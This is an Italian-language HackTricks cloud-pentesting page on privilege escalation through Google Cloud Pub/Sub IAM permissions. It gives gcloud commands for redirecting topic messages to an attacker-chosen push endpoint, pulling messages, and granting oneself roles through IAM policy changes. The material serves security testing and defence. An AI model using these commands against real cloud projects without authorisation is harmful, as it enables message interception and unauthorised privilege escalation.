# GCP - Pubsub Privesc

{{#include ../../../banners/hacktricks-training.md}}

## PubSub

Maggiori informazioni in:

{{#ref}}
../gcp-services/gcp-pub-sub.md
{{#endref}}

### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)

Gli snapshot dei topic **contengono i messaggi attualmente unACKed e ogni messaggio successivo**. Puoi creare uno snapshot di un topic per **accedere a tutti i messaggi**, **senza accedere direttamente al topic**.
```bash
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
```
### **`pubsub.snapshots.setIamPolicy`**

Assegna a te le autorizzazioni precedenti.

### `pubsub.subscriptions.create`

Puoi creare una push subscription in un topic che invierà tutti i messaggi ricevuti all'URL indicato

### **`pubsub.subscriptions.update`**

Imposta il tuo URL come push endpoint per intercettare i messaggi.

### `pubsub.subscriptions.consume`

Accedi ai messaggi usando la subscription.
```bash
gcloud pubsub subscriptions pull <SUSCRIPTION> \
--limit=50 \
--format="json" \
--project=<PROJECTID>
```
### `pubsub.subscriptions.setIamPolicy`

Concediti una qualsiasi delle autorizzazioni precedenti
```bash
# Add Binding
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}
